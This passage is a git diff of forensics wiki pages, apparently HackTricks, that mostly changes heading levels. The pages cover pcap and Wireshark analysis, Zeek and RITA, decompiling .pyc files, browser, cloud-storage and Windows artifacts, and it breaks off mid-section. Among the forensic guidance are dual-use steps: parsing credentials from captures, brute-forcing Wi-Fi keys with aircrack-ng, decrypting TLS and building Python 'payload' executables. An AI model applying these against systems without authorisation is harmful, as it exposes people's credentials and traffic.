main filters: @@ -103,7 +102,7 @@ If you are **looking** for **something** inside the pcap you can use **ngrep**. ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` -#### Carving +## Carving Using common carving techniques can be useful to extract files and information from the pcap: @@ -111,13 +110,13 @@ Using common carving techniques can be useful to extract files and information f [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -#### Capturing credentials +## Capturing credentials You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. -### Check Exploits/Malware +# Check Exploits/Malware -#### Suricata +## Suricata **Install and setup** @@ -134,7 +133,7 @@ oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` -#### YaraPcap +## YaraPcap [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that @@ -144,7 +143,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log * writes a report.txt * optionally saves matching files to a Dir -#### Malware Analysis +## Malware Analysis Check if you can find any fingerprint of a known malware: @@ -152,13 +151,13 @@ Check if you can find any fingerprint of a known malware: [malware-analysis.md](../malware-analysis.md) {% endcontent-ref %} -### Zeek +# Zeek > Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. -#### Connections Info +## Connections Info ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) @@ -191,7 +190,7 @@ cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1. cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 -### RITA +# RITA #Something similar can be done with the tool rita rita show-long-connections -H --limit 10 zeek_logs @@ -210,7 +209,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` -#### DNS info +## DNS info ```bash #Get info about each DNS request performed @@ -229,7 +228,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr rita show-exploded-dns -H --limit 10 zeek_logs ``` -### Other pcap analysis tricks +# Other pcap analysis tricks {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 7321c0d5..c4788db3 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# DNSCat pcap analysis - If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 35064b85..74f380b6 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# USB Keyboard pcap analysis - If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 21f20be6..d48dd09d 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# USB Keystrokes - If you have a pcap containing the communication via USB of a keyboard like the following one: ![](<../../../.gitbook/assets/image (613).png>) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 1b69a965..8f00a519 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Wifi Pcap Analysis - -## Check BSSIDs +# Check BSSIDs When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: @@ -27,7 +25,7 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ![](<../../../.gitbook/assets/image (425).png>) -### Brute Force +## Brute Force One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: @@ -35,11 +33,11 @@ One of the columns of that screen indicates if **any authentication was found in aircrack-ng -w pwds-file.txt -b file.pcap ``` -## Data in Beacons / Side Channel +# Data in Beacons / Side Channel If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. -## Find unknown MAC addresses in a Wiffi network +# Find unknown MAC addresses in a Wiffi network The following link will be useful to find the **machines sending data inside a Wifi Network**: @@ -49,7 +47,7 @@ If you already know **MAC addresses you can remove them from the output** adding Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. -## Decrypt Traffic +# Decrypt Traffic Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index dcbc8014..db62c6d9 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -16,11 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Wireshark tricks -### Improve your Wireshark skills +# Improve your Wireshark skills -#### Tutorials +## Tutorials The following tutorials are amazing to learn some cool basic tricks: @@ -29,7 +28,7 @@ The following tutorials are amazing to learn some cool basic tricks: * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -#### Analysed Information +## Analysed Information **Expert Information** @@ -74,7 +73,7 @@ Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication ![](<../../../.gitbook/assets/image (574).png>) -#### Filters +## Filters Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ Other interesting filters: @@ -86,14 +85,14 @@ Other interesting filters: * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * HTTP and initial HTTPS traffic + TCP SYN + DNS requests -#### Search +## Search If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_\ \_\_You can add new layers to the main information bar _(No., Time, Source...)_ pressing _right bottom_ and _Edit Column_ Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) -### Identifying Domains +# Identifying Domains You can add a column that show the Host HTTP header: @@ -103,21 +102,21 @@ And a column that add the Server name from an initiating HTTPS connection (**ssl ![](<../../../.gitbook/assets/image (408).png>) -### Identifying local hostnames +# Identifying local hostnames -#### From DHCP +## From DHCP In current Wireshark instead of `bootp` you need to search for `DHCP` ![](<../../../.gitbook/assets/image (404).png>) -#### From NBNS +## From NBNS ![](<../../../.gitbook/assets/image (405).png>) -### Decrypting TLS +# Decrypting TLS -#### Decrypting https traffic with server private key +## Decrypting https traffic with server private key _edit>preference>protocol>ssl>_ @@ -125,7 +124,7 @@ _edit>preference>protocol>ssl>_ Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) -#### Decrypting https traffic with symmetric session keys +## Decrypting https traffic with symmetric session keys It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ To detect this search inside the environment for to variable `SSLKEYLOGFILE` @@ -138,7 +137,7 @@ To import this in wireshark go to _edit>preference>protocol>ssl>_ and import it ![](<../../../.gitbook/assets/image (100).png>) -### ADB communication +# ADB communication Extract an APK from an ADB communication where the APK was sent: diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 51c5ebd8..6812c413 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc - -## From Compiled Binary to .pyc +# From Compiled Binary to .pyc From an **ELF** compiled binary you can **get the .pyc** with: @@ -48,7 +46,7 @@ In an **python exe binary** compiled you can **get the .pyc** by running: python pyinstxtractor.py executable.exe ``` -## From .pyc to python code +# From .pyc to python code For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: @@ -60,7 +58,7 @@ uncompyle6 binary.pyc > decompiled.py While executing **uncompyle6** you might find the **following errors**: -### Error: Unknown magic number 227 +## Error: Unknown magic number 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc @@ -91,7 +89,7 @@ hexdump 'binary.pyc' | head 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` -### Error: Decompiling generic errors +## Error: Decompiling generic errors **Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. @@ -99,13 +97,13 @@ This probably means that you **haven't added correctly** the magic number or tha Check the previous error documentation. -## Automatic Tool +# Automatic Tool The tool [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) glues together several tools available to the community that **helps researcher to unpack and decompile executable** written in python (py2exe and pyinstaller). Several YARA rules are available to determine if the executable is written in python (This script also confirms if the executable is created with either py2exe or pyinstaller). -### ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist +## ImportError: File name: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist Currently with unpy2exe or pyinstxtractor the Python bytecode file we get might not be complete and in turn it **can’t be recognized by uncompyle6 to get the plain Python source code**. This is caused by a missing Python **bytecode version number**. Therefore we included a prepend option; this will include a Python bytecode version number into it and help to ease the process of decompiling. When we try to use uncompyle6 to decompile the .pyc file it returns an error. However, **once we use the prepend option we can see that the Python source code has been decompiled successfully**. @@ -125,7 +123,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive [+] Successfully decompiled. ``` -## Analyzing python assembly +# Analyzing python assembly If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **dissasemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: @@ -172,11 +170,11 @@ True 17 RETURN_VALUE ``` -## Python to Executable +# Python to Executable To start off we’re going to show you how payloads can be compiled in py2exe and PyInstaller. -### To create a payload using py2exe: +## To create a payload using py2exe: 1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) 2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle\_files” with the value of 1 will bundle everything including Python interpreter into one exe. @@ -210,7 +208,7 @@ copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\te Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` -### To create a payload using PyInstaller: +## To create a payload using PyInstaller: 1. Install PyInstaller using pip (pip install pyinstaller). 2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. @@ -228,7 +226,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` -## References +# References * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 411bd20d..3c0db1da 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Specific Software/File-Type Tricks - Here you can find interesting tricks for specific file-types and/or software: {% page-ref page=".pyc.md" %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index be134686..ef7b9631 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Browser Artifacts - -## Browsers Artefacts +# Browsers Artefacts When we talk about browser artefacts we talk about, navigation history, bookmarks, list of downloaded files, cache data…etc. @@ -41,7 +39,7 @@ Let us take a look at the most common artefacts stored by browsers. * **Form Data :** Anything typed inside forms is often times stored by the browser, so the next time the user enters something inside of a form the browser can suggest previously entered data. * **Thumbnails :** Self Explanatory. -## Firefox +# Firefox Firefox use to create the profiles folder in \~/_**.mozilla/firefox/**_ (Linux), in **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\ Inside this folder, the file _**profiles.ini**_ should appear with the name(s) of the used profile(s).\ @@ -100,7 +98,7 @@ done < $passfile ![](<../../../.gitbook/assets/image (417).png>) -## Google Chrome +# Google Chrome Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in _**/Users/$USER/Library/Application Support/Google/Chrome/** _ (MacOS).\ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefaultData/**_ folders inside the paths indicated before. Inside here you can find the following interesting files: @@ -127,11 +125,11 @@ Most of the information will be saved inside the _**Default/**_ or _**ChromeDefa * **Browser’s built-in anti-phishing:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` * You can simply grep for “**safebrowsing**” and look for `{"enabled: true,"}` in the result to indicate anti-phishing and malware protection is on. -## **SQLite DB Data Recovery** +# **SQLite DB Data Recovery** As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). -## **Internet Explorer 11** +# **Internet Explorer 11** Internet Explorer stores **data** and **metadata** in different locations. The metadata will allow to find the data. @@ -147,11 +145,11 @@ Inside this table you can find in which other tables or containers each part of **Note that this table indicate also metadadata of the cache of other Microsoft tools also (e.g. skype)** -### Cache +## Cache You can use the tool [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) to inspect the cache. You need to indicate the folder where you have extracted the cache date. -#### Metadata +### Metadata The metadata information about the cache stores: @@ -164,17 +162,17 @@ The metadata information about the cache stores: * ModifiedTime: Last webpage version * ExpiryTime: Time when the cache will expire -#### Files +### Files The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ The information inside these folders is a **snapshot of what the user was seeing**. The caches has a size of **250 MB** and the timestamps indicate when the page was visited (first time, creation date of the NTFS, last time, modification time of the NTFS). -### Cookies +## Cookies You can use the tool [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) to inspect the cookies. You need to indicate the folder where you have extracted the cookies. -#### **Metadata** +### **Metadata** The metadata information about the cookies stores: @@ -186,15 +184,15 @@ The metadata information about the cookies stores: * AccessedTime: Last time the cookie was accesed * ExpiryTime: Time of expiration of the cookie -#### Files +### Files The cookies data can be found in _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ and _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ Session cookies will reside in memory and persistent cookie in the disk. -### Downloads +## Downloads -#### **Metadata** +### **Metadata** Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) you can find the container with the metadata of the downloads: @@ -202,25 +200,25 @@ Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\ Getting the information of the column "ResponseHeaders" you can transform from hex that information and obtain the URL, the file type and the location of the downloaded file. -#### Files +### Files Look in the path _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ -### **History** +## **History** The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history. But first you need to indicate the browser in advanced options and the location of the extracted history files. -#### **Metadata** +### **Metadata** * ModifiedTime: First time a URL is found * AccessedTime: Last time * AccessCount: Number of times accessed -#### **Files** +### **Files** Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ -### **Typed URLs** +## **Typed URLs** This information can be found inside the registry NTDUSER.DAT in the path: @@ -229,7 +227,7 @@ This information can be found inside the registry NTDUSER.DAT in the path: * _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ * last time the URL was typed -## Microsoft Edge +# Microsoft Edge For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid** with the only difference that the base locating in this case is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): @@ -239,7 +237,7 @@ For analyzing Microsoft Edge artifacts all the **explanations about cache and lo * Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ * Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ -## **Safari** +# **Safari** The databases can be found in `/Users/$User/Library/Safari` @@ -258,7 +256,7 @@ The databases can be found in `/Users/$User/Library/Safari` * **Browser’s built-in anti-phishing:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` * The reply should be 1 to indicate the setting is active -## Opera +# Opera The databases can be found in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index 92e73228..9de3ab60 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -17,29 +17,27 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Desofuscation vbs \(cscript.exe\) - Some things that could be useful to debug/desofuscate a malicious vbs file: -### echo +## echo ```bash Wscript.Echo "Like this?" ``` -### Commnets +## Commnets ```text ' this is a comment ``` -### Test +## Test ```text cscript.exe file.vbs ``` -### Write data to a file +## Write data to a file ```aspnet Function writeBinary(strBinary, strPath) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index effecb99..8372725a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Local Cloud Storage - -## OneDrive +# OneDrive In Windows you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`\ And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: @@ -35,7 +33,7 @@ And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files syncronized with OneDrive. -## Google Drive +# Google Drive In Widows you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files...\ @@ -46,7 +44,7 @@ In this table you can find: the **name** of the **synchronized** **files**, modi The table data of the database **`Sync_config.db`** contains the email address of the account, path of the shared folders and Google Drive version. -## Dropbox +# Dropbox Dropbox uses **SQLite databases** to mange the files. In this \ You can find the databases in the folders: diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index d1bd83d2..ecfff9df 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Office file analysis - -## Introduction +# Introduction Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** (VBA scripts). @@ -76,18 +74,18 @@ Sometimes the challenge is not to find hidden static data, but to **analyze a VB $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` -## [oletools](https://github.com/decalage2/oletools) +# [oletools](https://github.com/decalage2/oletools) ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -## Automatic Execution +# Automatic Execution Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automatically** **executed**. -## References +# References * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index fa8ab04a..cd0e701a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# PDF File analysis - From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) PDF is an extremely complicated document file format, with enough tricks and hiding places [to write about for years](https://www.sultanik.com/pocorgtfo/). This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures." It's no longer available at its original URL, but you can [find a copy here](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini also keeps a wiki on GitHub of [PDF file format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 5ed092a1..ce05a6db 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# PNG tricks - PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify correcteness or attempt to repair corrupted PNGs you can use [pngcheck](http://libpng.org/pub/png/apps/pngcheck.html) You can try to repair corrupted PNGs using online tools like: [https://online.officerecovery.com/pixrecovery/](https://online.officerecovery.com/pixrecovery/) diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 062db4ae..8dbc69d8 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Video and Audio file analysis - From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video is fun. As with image file formats, stegonagraphy might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the [mediainfo](https://mediaarea.net/en/MediaInfo) tool \(or `exiftool`\) and identify the content type and look at its metadata. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 423af8c8..667d501a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ZIPs tricks - There are a handful of command-line tools for zip files that will be useful to know about. * `unzip` will often output helpful information on why a zip will not decompress. diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index d1122efa..a037b65c 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -16,29 +16,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## Windows Artifacts -### Generic Windows Artifacts +# Generic Windows Artifacts -#### Windows 10 Notifications +## Windows 10 Notifications In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). Inside this SQLite database you can find the `Notification` table with all the notifications (in xml format) that may contain interesting data. -#### Timeline +## Timeline Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, executed applications...\ The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`\ This database can be open with a SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -#### ADS/Alternate Data Streams +## ADS/Alternate Data Streams Files downloaded may contain the **ADS Zone.Identifier** indicating **how** was **downloaded** (from the intranet, Internet...) and some software (like browser) usually put even **more** **information** like the **URL** from where the file was downloaded. -### **File Backups** +# **File Backups** -#### Recycle Bin +## Recycle Bin In Vista/Win7/Win8/Win10 the **Reciclye Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Reciycle.bin`).\ When a file is deleted in this folder are created 2 files: @@ -56,7 +55,7 @@ Having these files you can sue the tool [**Rifiuti**](https://github.com/abelche ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -#### Volume Shadow Copies +## Volume Shadow Copies Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.\ These backups are usually located in the `\System Volume Information` from the roof of the file system and the name is composed by **UIDs** as in the following image: @@ -73,15 +72,15 @@ The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRe The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. -#### Office AutoSaved Files +## Office AutoSaved Files You can find the office autosaved files in : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -### Shell Items +# Shell Items A shell item is an item that contains information about how to access another file. -#### Recent Documents (LNK) +## Recent Documents (LNK) Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: @@ -107,7 +106,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs In this case the information is going to be saved inside a CSV file. -#### Jumplists +## Jumplists These are the 